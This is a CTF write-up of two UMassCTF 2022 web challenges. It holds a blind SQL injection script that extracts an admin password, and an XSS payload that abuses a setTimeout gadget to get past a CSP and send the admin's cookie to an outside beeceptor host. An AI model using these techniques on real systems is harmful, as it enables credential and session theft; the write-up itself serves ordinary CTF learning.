UMassCTF 2022
I haven’t released any CTF writeups for a long time. Today i done 2 web challenge in UmassCTF so i decided writing something.
Venting
After tried web features, the proxy history showed me 1 interest endpoint.
Just change admin=True and we will get admin login page. Trying put ‘ in an textbox give me that this is sql injection challenge.
I tried dumped admin’s password by the following script and get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
passwd = ''
for i in range(36):
for x in range(127, 31, -1):
c = chr(x)
basepl = {
"user": "admin",
"pass": "1' or (SELECT hex(substr(password,{},1)) FROM users WHERE+username='admin') > hex('{}') and 'a'='a".format(i+1, c)
}
res = requests.post(
'http://34.148.103.218:4446/fff5bf676ba8796f0c51033403b35311/login', data=basepl, verify=False)
# print(c+' : '+str(len(res.text)))
if len(res.text) == 113:
passwd += chr(x+1)
break
print(passwd)
Umassdining
The source code is given in the challenge’s description but I checked web features first. The web navigation shows us 3 options: Home, Register, Join. Register is basically for registration, after fill the form we got the message ‘We got your request and will read it shortly!’. Join navigation is maybe administrator feature because the message ‘You’re not allowed here!’ appeared. Next we audit the source code. This web has the following 3 main endpoint
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
@app.route("/register",methods = ['GET','POST'])
def get_register():
if(request.method=='GET'):
response = make_response(render_template('register.html'))
add_resp_headers(response);
if(check_for_cookie()==False):
response.set_cookie("auth","-1",secure=True,samesite=None)
return response
elif(request.method=='POST'):
if(active_count()<10):
data = request.form.to_dict()
thread = Thread(target=bot.checkEssay,kwargs={'data':data})
thread.start()
return "We got your request and will read it shortly!",200
else:
return "We are busy right now, try again in a second",200
@app.route("/review/essay",methods = ['GET','POST'])
def reviewEssay():
essay = {"email":request.args.get("name"),"essay":request.args.get("essay")}
response = make_response(render_template('essay_checker.html',essay=essay))
add_resp_headers(response)
if(request.remote_addr != '127.0.0.1'):
return "Sorry pal you\'re not admin"
try:
return response
except:
return 'no essays to read',200
@app.route("/join",methods = ['GET'])
def get_play():
if(request.cookies.get("auth")==admin_cookie):
return "TEST{not_the_real_flag}",200
return "You're not allowed here!",403
Endpoint /join checks auth cookie and only returns flag if it is admin cookie. I need to get the admin token by somehow. /register forwards request data to bot.checkEssay
1
2
3
4
5
6
7
8
9
10
11
def checkEssay(data):
opts = Options()
opts.add_argument("--headless")
driver = Firefox(executable_path='/usr/bin/geckodriver',options=opts)
driver.set_window_size(320, 240)
driver.set_page_load_timeout(5)
driver.get('http://127.0.0.1:8000/')
driver.add_cookie({"name":"auth","value":admin_cookie})
driver.get('http://127.0.0.1:8000/review/essay?email={a}&essay={b}'.format(a=data['email'],b=data['essay']))
time.sleep(3)
driver.quit()
The above section takes data from register endpoint, add admin’s cookie to cookie and make request to the last of 3 endpoints - /review/essay, maybe i could leak the cookie from this. Look /review/essay handler
1
2
3
4
5
6
7
8
9
10
def reviewEssay():
essay = {"email":request.args.get("name"),"essay":request.args.get("essay")}
response = make_response(render_template('essay_checker.html',essay=essay))
add_resp_headers(response)
if(request.remote_addr != '127.0.0.1'):
return "Sorry pal you\'re not admin"
try:
return response
except:
return 'no essays to read',200
Check the essay_checker template returned by the above handler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<title>Admin Essay Review</title>
</head>
<body>
<h1>
Essay Review Panel
</h1><br>
<div>
<main>
Essay<br>
<br>
Author<br>
<br>
</main>
</div>
</body>
</html>
The jinja2’s safe filter is used in essay property of essay object. The safe filter basically disables html-escape in the expression passed through it while rendering html page. It’s maybe vulnerable to XSS exploit and i can make outbound request to get admin’s cookie. I tried some basic payload but it didn’t work, my outbound server didn’t get any requests. The reason is the following
1
2
def add_resp_headers(response):
response.headers['Content-Security-Policy']= "default-src 'self';script-src 'self' 'unsafe-eval'"
The above section adds CSP header to response that restrict browser can only load resource from the current origin. It literally means all directly payloads from our essay param won’t work. For more information about CSP, you can read here. I checked static folder and expected there was any usefull javascript file in it. And i saw things.js
1
2
3
4
5
6
7
8
var iloveumass = document.getElementById("debug").getAttribute("data-iloveumass");
function say_something(words)
{
setTimeout(`console.log('${words}')`,500)
}
document.addEventListener("DOMContentLoaded", function() {
say_something(iloveumass)
});
This script gets the html element with id ‘debug’, takes ‘data-iloveumass’ attribute from it and passes it to vulnerable setTimeout function call. We can manipulate this file to bypass CSP protection. Final payload is the following
1
<script id='debug' src="/static/js/thing.js" data-iloveumass="aaa');eval(document.location='http://hoangnd.free.beeceptor.com?cookie='%2bdocument.cookie);console.log('aaa"></script>
Put it in essay in register form, and an request will be made to your server.
Add admin’s cookie to /join endpoint and get flag.